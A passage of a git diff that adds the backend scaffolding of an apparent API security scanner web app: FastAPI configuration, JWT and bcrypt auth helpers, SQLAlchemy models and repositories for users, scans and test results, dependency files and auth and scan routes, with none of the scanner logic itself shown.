lifetime.++ Returns:+ Settings: Application settings instance+ """+ return Settings()++settings = get_settings()diff --git a/api-security-scanner/backend/core/__init__.py b/api-security-scanner/backend/core/__init__.pynew file mode 100644index 00000000..387aea62--- /dev/null+++ b/api-security-scanner/backend/core/__init__.py@@ -0,0 +1 @@+"""Core modules for application infrastructure"""diff --git a/api-security-scanner/backend/core/database.py b/api-security-scanner/backend/core/database.pynew file mode 100644index 00000000..201cb4b5--- /dev/null+++ b/api-security-scanner/backend/core/database.py@@ -0,0 +1,39 @@+"""+Database configuration and session management using SQLAlchemy.+"""++from collections.abc import Generator++from sqlalchemy import create_engine+from sqlalchemy.orm import Session, sessionmaker+from sqlalchemy.ext.declarative import declarative_base++from ..config import settings++# Database engine+engine = create_engine(+ settings.DATABASE_URL,+ pool_pre_ping = True,+ echo = settings.DEBUG,+)++# Session factory+SessionLocal = sessionmaker(+ autocommit = False,+ autoflush = False,+ bind = engine+)++# Base class+Base = declarative_base()+++def get_db() -> Generator[Session, None, None]:+ """+ FastAPI dependency for database sessions+ """+ db = SessionLocal()+ try:+ yield db+ finally:+ db.close()diff --git a/api-security-scanner/backend/core/dependencies.py b/api-security-scanner/backend/core/dependencies.pynew file mode 100644index 00000000..7f354d44--- /dev/null+++ b/api-security-scanner/backend/core/dependencies.py@@ -0,0 +1,46 @@+"""+FastAPI dependency injection functions.+"""++from fastapi import (+ Depends,+ HTTPException,+ status,+)+from fastapi.security import (+ HTTPAuthorizationCredentials,+ HTTPBearer,+)+from .security import decode_token+++# HTTP Bearer token authentication+security = HTTPBearer()+++async def get_current_user(+ credentials: HTTPAuthorizationCredentials = Depends(security),+) -> str:+ """+ FastAPI dependency to extract and+ verify the current authenticated user.+ """+ try:+ payload = decode_token(credentials.credentials)+ email: str | None = payload.get("sub")++ if email is None:+ raise HTTPException(+ status_code = status.HTTP_401_UNAUTHORIZED,+ detail = "Invalid authentication credentials",+ headers = {"WWW-Authenticate": "Bearer"},+ )++ return email++ except ValueError:+ raise HTTPException(+ status_code = status.HTTP_401_UNAUTHORIZED,+ detail = "Invalid authentication credentials",+ headers = {"WWW-Authenticate": "Bearer"},+ ) from Nonediff --git a/api-security-scanner/backend/core/enums.py b/api-security-scanner/backend/core/enums.pynew file mode 100644index 00000000..b308747b--- /dev/null+++ b/api-security-scanner/backend/core/enums.py@@ -0,0 +1,35 @@+"""+Enum definitions for the application for type safety+"""++from enum import Enum+++class ScanStatus(str, Enum):+ """+ Enum for scan result status+ """+ VULNERABLE = "vulnerable"+ SAFE = "safe"+ ERROR = "error"+++class Severity(str, Enum):+ """+ Enum for vulnerability severity levels+ """+ CRITICAL = "critical"+ HIGH = "high"+ MEDIUM = "medium"+ LOW = "low"+ INFO = "info"+++class TestType(str, Enum):+ """+ Enum for available security test types+ """+ RATE_LIMIT = "rate_limit"+ AUTH = "auth"+ SQLI = "sqli"+ IDOR = "idor"diff --git a/api-security-scanner/backend/core/security.py b/api-security-scanner/backend/core/security.pynew file mode 100644index 00000000..6052e22f--- /dev/null+++ b/api-security-scanner/backend/core/security.py@@ -0,0 +1,74 @@+"""+Security utilities for password hashing and JWT token management.+"""++from datetime import (+ datetime,+ timedelta,+)+from jose import JWTError, jwt+from passlib.context import CryptContext++from config import settings+++# Password hashing+pwd_context = CryptContext(schemes = ["bcrypt"], deprecated = "auto")+++def hash_password(password: str) -> str:+ """+ Hash a plain text password using bcrypt+ """+ return pwd_context.hash(password)+++def verify_password(+ plain_password: str,+ hashed_password: str+) -> bool:+ """+ Verify a plain text password against a hashed password+ """+ return pwd_context.verify(plain_password, hashed_password)+++def create_access_token(+ data: dict[str,+ str],+ expires_delta: timedelta | None = None+) -> str:+ """+ Create a JWT access token+ """+ to_encode = data.copy()++ if expires_delta:+ expire = datetime.utcnow() + expires_delta+ else:+ expire = datetime.utcnow() + timedelta(+ minutes = settings.ACCESS_TOKEN_EXPIRE_MINUTES+ )++ to_encode.update({"exp": expire})+ encoded_jwt = jwt.encode(+ to_encode,+ settings.SECRET_KEY,+ algorithm = settings.ALGORITHM+ )+ return encoded_jwt+++def decode_token(token: str) -> dict[str, str]:+ """+ Decode and verify a JWT token+ """+ try:+ payload = jwt.decode(+ token,+ settings.SECRET_KEY,+ algorithms = [settings.ALGORITHM]+ )+ return payload+ except JWTError as e:+ raise ValueError(f"Invalid token: {str(e)}") from ediff --git a/api-security-scanner/backend/factory.py b/api-security-scanner/backend/factory.pynew file mode 100644index 00000000..25323df5--- /dev/null+++ b/api-security-scanner/backend/factory.py@@ -0,0 +1,77 @@+"""+ⒸAngelaMos | 2025+FastAPI application factory for main.py+"""++from fastapi import FastAPI+from fastapi.middleware.cors import CORSMiddleware++from slowapi import (+ Limiter,+ _rate_limit_exceeded_handler,+)+from slowapi.errors import RateLimitExceeded+from slowapi.util import get_remote_address++from .config import settings+from .core.database import Base, engine+from .routes import auth_router, scans_router+++def create_app() -> FastAPI:+ """+ Application factory function+ """+ Base.metadata.create_all(bind=engine)++ app = FastAPI(+ title=settings.APP_NAME,+ version=settings.VERSION,+ docs_url="/api/docs",+ redoc_url="/api/redoc",+ debug=settings.DEBUG,+ )++ limiter = Limiter(key_func=get_remote_address)+ app.state.limiter = limiter+ app.add_exception_handler(RateLimitExceeded, _rate_limit_exceeded_handler)++ app.add_middleware(+ CORSMiddleware,+ allow_origins=settings.cors_origins_list,+ allow_credentials=True,+ allow_methods=["*"],+ allow_headers=["*"],+ )++ _register_routes(app)++ return app++++def _register_routes(app: FastAPI) -> None:+ """+ Register all application routes+ """+ @app.get("/")+ def root() -> dict[str, str]:+ """+ API root endpoint+ """+ return {+ "app": settings.APP_NAME,+ "version": settings.VERSION,+ "status": "healthy",+ }++ @app.get("/health")+ def health_check() -> dict[str, str]:+ """+ Health check endpoint+ """+ return {"status": "healthy"}++ app.include_router(auth_router)+ app.include_router(scans_router)+diff --git a/api-security-scanner/backend/main.py b/api-security-scanner/backend/main.pynew file mode 100644index 00000000..70a778a5--- /dev/null+++ b/api-security-scanner/backend/main.py@@ -0,0 +1,20 @@+"""+ⒸAngelaMos | 2025+FastAPI application entry point+"""++import uvicorn++from .config import settings+from .factory import create_app+++app = create_app()++if __name__ == "__main__":+ uvicorn.run(+ "main:app",+ host=settings.BACKEND_HOST,+ port=settings.BACKEND_PORT,+ reload=settings.DEBUG,+ )diff --git a/api-security-scanner/backend/models/Base.py b/api-security-scanner/backend/models/Base.pynew file mode 100644index 00000000..89decfba--- /dev/null+++ b/api-security-scanner/backend/models/Base.py@@ -0,0 +1,78 @@+"""+ⒸAngelaMos | 2025+Base model class+Common fields and methods for all models+"""++from typing import Any+from sqlalchemy import (+ Column,+ DateTime,+ Integer,+)+from datetime import datetime, UTC+from sqlalchemy.ext.declarative import declared_attr++from ..core.database import Base+++class BaseModel(Base):+ """+ Abstract base model with common fields and methods+ All models inherit from this class+ """+ __abstract__ = True++ id = Column(+ Integer,+ primary_key = True,+ index = True,+ autoincrement = True+ )+ created_at = Column(+ DateTime(timezone = True),+ default = lambda: datetime.now(UTC)+ )+ updated_at = Column(+ DateTime(timezone = True),+ default = lambda: datetime.now(UTC),+ onupdate = lambda: datetime.now(UTC),+ )++ @declared_attr+ def __tablename__(cls) -> str:+ """+ Auto-generate table name from class name+ """+ return cls.__name__.lower()++ def to_dict(self) -> dict[str, Any]:+ """+ Convert model instance to dictionary++ Returns:+ dict: Dictionary representation of the model+ """+ return {+ column.name: getattr(self,+ column.name)+ for column in self.__table__.columns+ }++ def update(self, **kwargs: Any) -> None:+ """+ Update model fields from keyword arguments++ Args:+ **kwargs: Field names and values to update+ """+ for key, value in kwargs.items():+ if hasattr(self, key):+ setattr(self, key, value)+ self.updated_at = datetime.now(UTC)++ def __repr__(self) -> str:+ """+ String representation of model+ """+ return f"<{self.__class__.__name__}(id={self.id})>"diff --git a/api-security-scanner/backend/models/Scan.py b/api-security-scanner/backend/models/Scan.pynew file mode 100644index 00000000..50df3278--- /dev/null+++ b/api-security-scanner/backend/models/Scan.py@@ -0,0 +1,83 @@+"""+ⒸAngelaMos | 2025+Scan model for storing security scan metadata+"""++from datetime import (+ UTC,+ datetime,+)+from sqlalchemy import (+ Column,+ DateTime,+ ForeignKey,+ Integer,+ String,+)+from sqlalchemy.orm import relationship++from ..config import settings+from .Base import BaseModel+++class Scan(BaseModel):+ """+ Stores metadata about scans performed on target URLs+ """+ __tablename__ = "scans"++ user_id = Column(+ Integer,+ ForeignKey("users.id",+ ondelete = "CASCADE"),+ nullable = False,+ index = True,+ )+ target_url = Column(+ String(settings.URL_MAX_LENGTH),+ nullable = False,+ )+ scan_date = Column(+ DateTime(timezone = True),+ default = lambda: datetime.now(UTC),+ nullable = False,+ )++ user = relationship("User", backref = "scans")+ test_results = relationship(+ "TestResult",+ back_populates = "scan",+ cascade = "all, delete-orphan",+ )++ def __repr__(self) -> str:+ """+ String representation of Scan+ """+ return f"<Scan(id={self.id}, target_url={self.target_url}, user_id={self.user_id})>"++ @property+ def has_vulnerabilities(self) -> bool:+ """+ Check if scan found any vulnerabilities++ Returns:+ bool: True if any test result is vulnerable+ """+ return any(+ result.status == "vulnerable"+ for result in self.test_results+ )++ @property+ def vulnerability_count(self) -> int:+ """+ Count of vulnerabilities found in this scan++ Returns:+ int: Number of vulnerable test results+ """+ return sum(+ 1 for result in self.test_results+ if result.status == "vulnerable"+ )diff --git a/api-security-scanner/backend/models/TestResult.py b/api-security-scanner/backend/models/TestResult.pynew file mode 100644index 00000000..7f721d32--- /dev/null+++ b/api-security-scanner/backend/models/TestResult.py@@ -0,0 +1,89 @@+"""+ⒸAngelaMos | 2025+TestResult model for storing individual security test results+"""++from sqlalchemy import (+ Column,+ Enum,+ ForeignKey,+ Integer,+ Text,+)+from sqlalchemy.orm import relationship+from sqlalchemy.dialects.postgresql import JSON++from ..core.enums import (+ ScanStatus,+ Severity,+ TestType,+)+from .Base import BaseModel+++class TestResult(BaseModel):+ """+ Stores individual test results for each security scan+ """+ __tablename__ = "test_results"++ scan_id = Column(+ Integer,+ ForeignKey("scans.id",+ ondelete = "CASCADE"),+ nullable = False,+ index = True,+ )+ test_name = Column(+ Enum(TestType),+ nullable = False,+ index = True,+ )+ status = Column(+ Enum(ScanStatus),+ nullable = False,+ index = True,+ )+ severity = Column(+ Enum(Severity),+ nullable = False,+ index = True,+ )+ details = Column(Text, nullable = False)+ evidence_json = Column(JSON, nullable = False, default = dict)+ recommendations_json = Column(+ JSON,+ nullable = False,+ default = list+ )++ scan = relationship("Scan", back_populates = "test_results")++ def __repr__(self) -> str:+ """+ String representation of TestResult+ """+ return (+ f"<TestResult(id={self.id}, test_name={self.test_name.value}, "+ f"status={self.status.value})>"+ )++ @property+ def is_vulnerable(self) -> bool:+ """+ Check if this test result indicates a vulnerability++ Returns:+ bool: True if status is vulnerable+ """+ return self.status == ScanStatus.VULNERABLE++ @property+ def is_high_severity(self) -> bool:+ """+ Check if this is a high severity vulnerability++ Returns:+ bool: True if severity is high+ """+ return self.severity == Severity.HIGHdiff --git a/api-security-scanner/backend/models/User.py b/api-security-scanner/backend/models/User.pynew file mode 100644index 00000000..efbf34d0--- /dev/null+++ b/api-security-scanner/backend/models/User.py@@ -0,0 +1,45 @@+"""+ⒸAngelaMos | 2025+User model for authentication and user management+"""++from sqlalchemy import (+ Boolean,+ Column,+ String,+)++from ..config import settings+from .Base import BaseModel+++class User(BaseModel):+ """+ Stores authentication credentials and user information+ """+ __tablename__ = "users"++ email = Column(+ String(settings.EMAIL_MAX_LENGTH),+ unique = True,+ nullable = False,+ index = True,+ )+ hashed_password = Column(String, nullable = False)+ is_active = Column(Boolean, default = True, nullable = False)++ def __repr__(self) -> str:+ """+ String representation of User+ """+ return f"<User(id={self.id}, email={self.email})>"++ @property+ def is_authenticated(self) -> bool:+ """+ Check if user is active and authenticated++ Returns:+ bool: True if user is active+ """+ return self.is_activediff --git a/api-security-scanner/backend/models/__init__.py b/api-security-scanner/backend/models/__init__.pynew file mode 100644index 00000000..51db902c--- /dev/null+++ b/api-security-scanner/backend/models/__init__.py@@ -0,0 +1,18 @@+"""+ⒸAngelaMos | 2025+Database models package+"""++from .Base import BaseModel++from .User import User+from .Scan import Scan+from .TestResult import TestResult+++__all__ = [+ "BaseModel",+ "User",+ "Scan",+ "TestResult",+]diff --git a/api-security-scanner/backend/pyproject.toml b/api-security-scanner/backend/pyproject.tomlnew file mode 100644index 00000000..7251848e--- /dev/null+++ b/api-security-scanner/backend/pyproject.toml@@ -0,0 +1,257 @@+[project]+name = "api-security-scanner-backend"+version = "1.0.0"+description = "Backend API for security testing tool"+requires-python = ">=3.11"+authors = [ # Replace my Name & Email Here+ {name = "CarerPerez-dev", email = "[email protected]"}+]+readme = "README.md"+license = {text = "MIT"}++dependencies = [+ # FastAPI and server+ "fastapi==0.121.1",+ "uvicorn[standard]==0.38.0",+ "python-multipart===0.0.20",+ # Database+ "sqlalchemy==2.0.44",+ "psycopg2-binary==2.9.11",+ "alembic==1.17.1",+ # Security+ "slowapi==0.1.9",+ "passlib[bcrypt]==1.7.4",+ "python-jose[cryptography]==3.5.0",+ "bcrypt==4.3.0",+ # HTTP client for scanners+ "httpx==0.28.1",+ "aiohttp==3.13.2",+ # Settings management+ "pydantic==2.12.4",+ "pydantic-settings==2.11.0",+ "python-dotenv==1.2.1",+ # Utilities+ "email-validator==2.3.0",+]++[project.optional-dependencies]+dev = [+ "pylint==3.3.8",+ "pre-commit==4.3.0",+ "pip-audit==2.9.0",+ "ruff==0.14.4",+ "mypy==1.18.2",+ "bandit[toml]==1.8.6",+ "yapf==0.43.0",+ "pylint-pydantic==0.3.5",+ "pylint-per-file-ignores==1.4.0",+ "pylint-plugin-utils==0.9.0",+ "pylint-pydantic==0.3.5"+]++[build-system]+requires = ["setuptools>=80.9.0", "wheel>=0.45.1"]+build-backend = "setuptools.build_meta"+++[tool.setuptools]+py-modules = ["main", "config", "factory"]++[tool.ruff]+target-version = "py311"+line-length = 95+indent-width = 4+exclude = [+ ".bzr",+ ".direnv",+ ".eggs",+ ".git",+ ".git-rewrite",+ ".hg",+ ".ipynb_checkpoints",+ ".mypy_cache",+ ".nox",+ ".pyenv",+ ".pytest_cache",+ ".pytype",+ ".ruff_cache",+ ".svn",+ ".tox",+ ".venv",+ "__pycache__",+ "_build",+ "build",+ "dist",+ "site-packages",+ "venv",+ "migrations",+ "devtools",+ "main.py",+]++[tool.ruff.lint]+select = [+ "E1", # Indentation+ "E4", # Imports+ "E7", # Statement+ "F", # Pyflakes (all F rules)+ "W292", # No newline at end of file+ "W605", # Invalid escape sequence+ "B", # Bugbear+ "C4", # Comprehensions+ "UP", # Pyupgrade+ "ARG", # Unused arguments+ "SIM", # Simplify+ "I", # isort rules+ "F401", # Unused imports+ "F811", # Redefined imports+ "F821", # Undefined name+]++ignore = [+ "E501", # Line length (handled by formatter)+ "W291", # Trailing whitespace+ "W293", # Blank line contains whitespace+ "I001", # Import sorting+ "RUF001", # Ambiguous unicode+ "RUF002", # Docstring with ambiguous unicode+]++[tool.ruff.lint.per-file-ignores]+"__init__.py" = ["ALL"]+"core/dependencies.py" = ["B008"]+"routes/auth.py" = ["ARG001", "B008"]+"routes/scans.py" = ["ARG001", "B008"]+"scanners/base_scanner.py" = ["B010"]+++[tool.mypy]+python_version = "3.11"+mypy_path = "backend"+namespace_packages = true+explicit_package_bases = true+warn_return_any = false+warn_unused_configs = true+disallow_untyped_defs = false+disallow_incomplete_defs = true+ignore_missing_imports = true+check_untyped_defs = false+no_implicit_optional = true+warn_redundant_casts = true+warn_unused_ignores = true+warn_no_return = true+show_error_codes = true+show_column_numbers = true+pretty = true++exclude = [+ ".venv",+ "venv",+]++[[tool.mypy.overrides]]+module = [+ "models.*",+ "repositories.*",+ "core.security",+ "core.database",+ "scanners.*",+ "schemas.*",+ "services.*",+ "routes.*",+ "factory",+ "config",+]+disable_error_code = [+ "no-any-return",+ "assignment",+ "return-value",+ "arg-type",+ "var-annotated",+ "index",+ "attr-defined",+ "operator",+ "union-attr",+ "call-arg",+ "dict-item",+]+++[tool.pylint.main]+py-version = "3.11"+jobs = 4+load-plugins = [+ "pylint_pydantic",+ "pylint_per_file_ignores"+]+persistent = true+suggestion-mode = true+ignore = [+ "venv",+ ".venv",+ "__pycache__",+ "build",+ "dist",+ ".git",+ ".pytest_cache",+ ".mypy_cache",+ ".ruff_cache",+]+ignore-paths = [+ "^venv/.*",+ "^.venv/.*",+ "^build/.*",+ "^dist/.*",+]+[tool.pylint.type-check]+generated-members = [+ "objects",+ "id",+ "get_or_create",+ "DoesNotExist",+ "MultipleObjectsReturned",+ "objects.get_or_create"+]++[tool.pylint.messages_control]+disable = [+ "C0111", # missing-docstring+ "C0103", # invalid-name+ "R0903", # too-few-public-methods+ "W0511", # fixme+ "W0622", # redefined-builtin+ "W0612", # unused-variable (handled by ruff)+ "W0613", # unused-argument (handled by ruff)+ "C0301", # Line too long+ "C0302", # Too many lines+ "C0411", # Wrong import order+ "C0305", # Trailing newlines+ "C0303", # Trailing whitespace+ "C0304", # Final newline missing+ "R0801", # Similar lines (want exact duplicates only)+]++per-file-ignores = [+ "schemas/scan_schemas.py:C0415",+ "scanners/rate_limit_scanner.py:W0718",+ "scanners/auth_scanner.py:W0718",+ "scanners/sqli_scanner.py:W0718",+ "scanners/idor_scanner.py:W0718",+ "services/scan_service.py:W0718",+ "models/Base.py:E0213",+]++[tool.pylint.design]+max-args = 10+max-attributes = 12+max-branches = 13+max-locals = 20+max-statements = 40+++[tool.bandit]+exclude_dirs = [+ ".venv",+ "venv",+]+skips = ["B104"]diff --git a/api-security-scanner/backend/repositories/__init__.py b/api-security-scanner/backend/repositories/__init__.pynew file mode 100644index 00000000..1f4042d7--- /dev/null+++ b/api-security-scanner/backend/repositories/__init__.py@@ -0,0 +1,12 @@+"""Database repository layer for data access operations"""++from .user_repository import UserRepository+from .scan_repository import ScanRepository+from .test_result_repository import TestResultRepository+++__all__ = [+ "UserRepository",+ "ScanRepository",+ "TestResultRepository",+]diff --git a/api-security-scanner/backend/repositories/scan_repository.py b/api-security-scanner/backend/repositories/scan_repository.pynew file mode 100644index 00000000..f823f68b--- /dev/null+++ b/api-security-scanner/backend/repositories/scan_repository.py@@ -0,0 +1,159 @@+"""+ⒸAngelaMos | 2025+Handles all Scan model database queries+"""++from __future__ import annotations++from datetime import UTC, datetime+from sqlalchemy.orm import (+ Session,+ joinedload,+)++from ..config import settings+from ..models.Scan import Scan+++class ScanRepository:+ """+ Repository for Scan database operations+ """+ @staticmethod+ def create_scan(+ db: Session,+ user_id: int,+ target_url: str,+ commit: bool = True+ ) -> Scan:+ """+ Create a new scan++ Args:+ db: Database session+ user_id: User ID who initiated the scan+ target_url: Target URL to scan+ commit: Whether to commit the transaction++ Returns:+ Scan: Created scan instance+ """+ scan = Scan(+ user_id = user_id,+ target_url = target_url,+ scan_date = datetime.now(UTC),+ )+ db.add(scan)+ if commit:+ db.commit()+ db.refresh(scan)+ return scan++ @staticmethod+ def get_by_id(db: Session, scan_id: int) -> Scan | None:+ """+ Get scan by ID with test results loaded++ Args:+ db: Database session+ scan_id: Scan ID++ Returns:+ Scan | None: Scan instance or None if not found+ """+ return (+ db.query(Scan).options(+ joinedload(Scan.test_results)+ ).filter(Scan.id == scan_id).first()+ )++ @staticmethod+ def get_by_user(+ db: Session,+ user_id: int,+ skip: int = 0,+ limit: int | None = None+ ) -> list[Scan]:+ """+ Get all scans for a user with pagination.++ Args:+ db: Database session+ user_id: User ID+ skip: Number of records to skip+ limit: Maximum number of records to return (DEFAULT_PAGINATION_LIMIT)++ Returns:+ list[Scan]: List of scans with test results+ """+ if limit is None:+ limit = settings.DEFAULT_PAGINATION_LIMIT++ return (+ db.query(Scan).options(+ joinedload(Scan.test_results)+ ).filter(Scan.user_id == user_id).order_by(+ Scan.scan_date.desc()+ ).offset(skip).limit(limit).all()+ )++ @staticmethod+ def get_recent(db: Session,+ limit: int | None = None) -> list[Scan]:+ """+ Get most recent scans across all users.++ Args:+ db: Database session+ limit: Maximum number of scans to return (DEFAULT_PAGINATION_LIMIT)++ Returns:+ list[Scan]: List of recent scans+ """+ if limit is None:+ limit = settings.DEFAULT_PAGINATION_LIMIT++ return (+ db.query(Scan).options(+ joinedload(Scan.test_results)+ ).order_by(Scan.scan_date.desc()).limit(limit).all()+ )++ @staticmethod+ def delete(+ db: Session,+ scan_id: int,+ commit: bool = True+ ) -> bool:+ """+ Delete a scan (cascades to test results).++ Args:+ db: Database session+ scan_id: Scan ID to delete+ commit: Whether to commit the transaction++ Returns:+ bool: True if deleted, False if not found+ """+ scan = ScanRepository.get_by_id(db, scan_id)+ if scan:+ db.delete(scan)+ if commit:+ db.commit()+ return True+ return False++ @staticmethod+ def count_by_user(db: Session, user_id: int) -> int:+ """+ Count total scans for a user.++ Args:+ db: Database session+ user_id: User ID++ Returns:+ int: Total number of scans+ """+ return db.query(Scan).filter(Scan.user_id == user_id).count()diff --git a/api-security-scanner/backend/repositories/test_result_repository.py b/api-security-scanner/backend/repositories/test_result_repository.pynew file mode 100644index 00000000..5cb4de19--- /dev/null+++ b/api-security-scanner/backend/repositories/test_result_repository.py@@ -0,0 +1,177 @@+"""+ⒸAngelaMos | 2025+TestResult repository for database operations+"""++from __future__ import annotations++from typing import Any++from sqlalchemy.orm import Session++from ..core.enums import (+ ScanStatus,+ Severity,+ TestType,+)+from ..models.TestResult import TestResult+++class TestResultRepository:+ """+ Repository for TestResult database operations+ """+ @staticmethod+ def create_test_result(+ db: Session,+ scan_id: int,+ *,+ test_name: TestType,+ status: ScanStatus,+ severity: Severity,+ details: str,+ evidence_json: dict[str,+ Any],+ recommendations_json: list[str],+ commit: bool = True,+ ) -> TestResult:+ """+ Create a new test result.++ Args:+ db: Database session+ scan_id: Scan ID this result belongs to+ test_name: Type of security test+ status: Test status (vulnerable, safe, error)+ severity: Vulnerability severity+ details: Detailed description+ evidence_json: Evidence data as JSON+ recommendations_json: List of recommendations+ commit: Whether to commit the transaction++ Returns:+ TestResult: Created test result instance+ """+ test_result = TestResult(+ scan_id = scan_id,+ test_name = test_name,+ status = status,+ severity = severity,+ details = details,+ evidence_json = evidence_json,+ recommendations_json = recommendations_json,+ )+ db.add(test_result)+ if commit:+ db.commit()+ db.refresh(test_result)+ return test_result++ @staticmethod+ def bulk_create(+ db: Session,+ test_results: list[TestResult],+ commit: bool = True+ ) -> list[TestResult]:+ """+ Create multiple test results in bulk++ Args:+ db: Database session+ test_results: List of TestResult instances to create+ commit: Whether to commit the transaction++ Returns:+ list[TestResult]: Created test result instances+ """+ db.add_all(test_results)+ if commit:+ db.commit()+ for result in test_results:+ db.refresh(result)+ return test_results++ @staticmethod+ def get_by_scan(db: Session, scan_id: int) -> list[TestResult]:+ """+ Get all test results for a specific scan++ Args:+ db: Database session+ scan_id: Scan ID++ Returns:+ list[TestResult]: List of test results for the scan+ """+ return (+ db.query(TestResult).filter(+ TestResult.scan_id == scan_id+ ).order_by(TestResult.created_at.asc()).all()+ )++ @staticmethod+ def get_by_status(db: Session,+ scan_id: int,+ status: ScanStatus) -> list[TestResult]:+ """+ Get test results by status for a scan++ Args:+ db: Database session+ scan_id: Scan ID+ status: Status to filter by++ Returns:+ list[TestResult]: Filtered test results+ """+ return (+ db.query(TestResult).filter(+ TestResult.scan_id == scan_id,+ TestResult.status == status+ ).all()+ )++ @staticmethod+ def get_vulnerabilities(db: Session,+ scan_id: int) -> list[TestResult]:+ """+ Get only vulnerable test results for a scan++ Args:+ db: Database session+ scan_id: Scan ID++ Returns:+ list[TestResult]: Vulnerable test results only+ """+ return TestResultRepository.get_by_status(+ db,+ scan_id,+ ScanStatus.VULNERABLE+ )++ @staticmethod+ def delete_by_scan(+ db: Session,+ scan_id: int,+ commit: bool = True+ ) -> int:+ """+ Delete all test results for a scan++ Args:+ db: Database session+ scan_id: Scan ID+ commit: Whether to commit the transaction++ Returns:+ int: Number of test results deleted+ """+ count = (+ db.query(TestResult).filter(+ TestResult.scan_id == scan_id+ ).delete()+ )+ if commit:+ db.commit()+ return countdiff --git a/api-security-scanner/backend/repositories/user_repository.py b/api-security-scanner/backend/repositories/user_repository.pynew file mode 100644index 00000000..72435bfe--- /dev/null+++ b/api-security-scanner/backend/repositories/user_repository.py@@ -0,0 +1,147 @@+"""+ⒸAngelaMos | 2025+User repository for database operations+"""++from __future__ import annotations++from sqlalchemy.orm import Session++from ..config import settings+from ..models.User import User+++class UserRepository:+ """+ Repository for User database operations+ """+ @staticmethod+ def get_by_id(db: Session, user_id: int) -> User | None:+ """+ Get user by ID++ Args:+ db: Database session+ user_id: User ID++ Returns:+ User | None: User instance or None if not found+ """+ return db.query(User).filter(User.id == user_id).first()++ @staticmethod+ def get_by_email(db: Session, email: str) -> User | None:+ """+ Get user by email address++ Args:+ db: Database session+ email: User email address++ Returns:+ User | None: User instance or None if not found+ """+ return db.query(User).filter(User.email == email).first()++ @staticmethod+ def create_user(+ db: Session,+ email: str,+ hashed_password: str,+ commit: bool = True+ ) -> User:+ """+ Create a new user++ Args:+ db: Database session+ email: User email address+ hashed_password: Bcrypt hashed password+ commit: Whether to commit the transaction++ Returns:+ User: Created user instance+ """+ user = User(email = email, hashed_password = hashed_password)+ db.add(user)+ if commit:+ db.commit()+ db.refresh(user)+ return user++ @staticmethod+ def get_all_active(+ db: Session,+ skip: int = 0,+ limit: int | None = None+ ) -> list[User]:+ """+ Get all active users with pagination++ Args:+ db: Database session+ skip: Number of records to skip+ limit: Maximum number of records to return (DEFAULT_PAGINATION_LIMIT)++ Returns:+ list[User]: List of active users+ """+ if limit is None:+ limit = settings.DEFAULT_PAGINATION_LIMIT++ return (+ db.query(User).filter(User.is_active+ ).offset(skip).limit(limit).all()+ )++ @staticmethod+ def update_active_status(+ db: Session,+ user_id: int,+ is_active: bool,+ commit: bool = True+ ) -> User | None:+ """+ Update user active status++ Args:+ db: Database session+ user_id: User ID+ is_active: New active status+ commit: Whether to commit the transaction++ Returns:+ User | None: Updated user or None if not found+ """+ user = UserRepository.get_by_id(db, user_id)+ if user:+ user.is_active = is_active+ if commit:+ db.commit()+ db.refresh(user)+ return user++ @staticmethod+ def delete(+ db: Session,+ user_id: int,+ commit: bool = True+ ) -> bool:+ """+ Delete a user++ Args:+ db: Database session+ user_id: User ID to delete+ commit: Whether to commit the transaction++ Returns:+ bool: True if deleted, False if not found+ """+ user = UserRepository.get_by_id(db, user_id)+ if user:+ db.delete(user)+ if commit:+ db.commit()+ return True+ return Falsediff --git a/api-security-scanner/backend/requirements.txt b/api-security-scanner/backend/requirements.txtnew file mode 100644index 00000000..db69b8a4--- /dev/null+++ b/api-security-scanner/backend/requirements.txt@@ -0,0 +1,28 @@+# ⒸAngelaMos | 2025++# FastAPI and server+fastapi>=0.109.0+uvicorn[standard]>=0.27.0+python-multipart>=0.0.6++# Database+sqlalchemy>=2.0.25+psycopg2-binary>=2.9.9+alembic>=1.13.0++# Security+passlib[bcrypt]>=1.7.4+python-jose[cryptography]>=3.3.0+bcrypt>=4.1.2++# HTTP client for scanners+httpx>=0.26.0+aiohttp>=3.9.0++# Settings management+pydantic>=2.5.0+pydantic-settings>=2.1.0+python-dotenv>=1.0.0++# Utilities+email-validator>=2.1.0diff --git a/api-security-scanner/backend/routes/__init__.py b/api-security-scanner/backend/routes/__init__.pynew file mode 100644index 00000000..73f9851e--- /dev/null+++ b/api-security-scanner/backend/routes/__init__.py@@ -0,0 +1,11 @@+"""+API route handlers+"""++from .auth import router as auth_router+from .scans import router as scans_router++__all__ = [+ "auth_router",+ "scans_router",+]diff --git a/api-security-scanner/backend/routes/auth.py b/api-security-scanner/backend/routes/auth.pynew file mode 100644index 00000000..aa3806d1--- /dev/null+++ b/api-security-scanner/backend/routes/auth.py@@ -0,0 +1,63 @@+"""+©AngelaMos | 2025+Authentication routes - registration and login+"""++from fastapi import (+ APIRouter,+ Depends,+ Request,+ status,+)+from slowapi import Limiter+from slowapi.util import get_remote_address+from sqlalchemy.orm import Session++from ..config import settings+from ..core.database import get_db+from ..schemas.user_schemas import (+ TokenResponse,+ UserCreate,+ UserLogin,+ UserResponse,+)+from ..services.auth_service import AuthService+++router = APIRouter(prefix="/auth", tags=["authentication"])+limiter = Limiter(key_func=get_remote_address)+++ "/register",+ response_model=UserResponse,+ status_code=status.HTTP_201_CREATED,+)[email protected](settings.API_RATE_LIMIT_REGISTER)+async def register(+ request: Request,+ user_data: UserCreate,+ db: Session = Depends(get_db),+) -> UserResponse:+ """+ Register a new user account+ """+ return AuthService.register_user(db, user_data)+++ "/login",+ response_model=TokenResponse,+ status_code=status.HTTP_200_OK,+)[email protected](settings.API_RATE_LIMIT_LOGIN)+async def login(+ request: Request,+ login_data: UserLogin,+ db: Session = Depends(get_db),+) -> TokenResponse:+ """+ Authenticate user and receive JWT token+ """+ return AuthService.login_user(db, login_data)+diff --git a/api-security-scanner/backend/routes/scans.py b/api-security-scanner/backend/routes/scans.pynew file mode 100644index 00000000..c7698db7--- /dev/null+++ b/api-security-scanner/backend/routes/scans.py@@ -0,0 +1,100 @@+"""+©AngelaMos | 2025+Scan routes - create, retrieve, and manage security scans+"""++from fastapi import (+ APIRouter,+ Depends,+ Request,+ status,+)+from slowapi import Limiter+from slowapi.util import get_remote_address+from sqlalchemy.orm import Session++from ..config import settings+from ..core.database import get_db+from ..core.dependencies import get_current_user+from ..schemas.scan_schemas import (+ ScanRequest,+ ScanResponse,+)+from ..schemas.user_schemas import UserResponse+from ..services.scan_service import ScanService+++router = APIRouter(prefix="/scans", tags=["scans"])+limiter = Limiter(key_func=get_remote_address)+++ "/",+ response_model=ScanResponse,+ status_code=status.HTTP_201_CREATED,+)[email 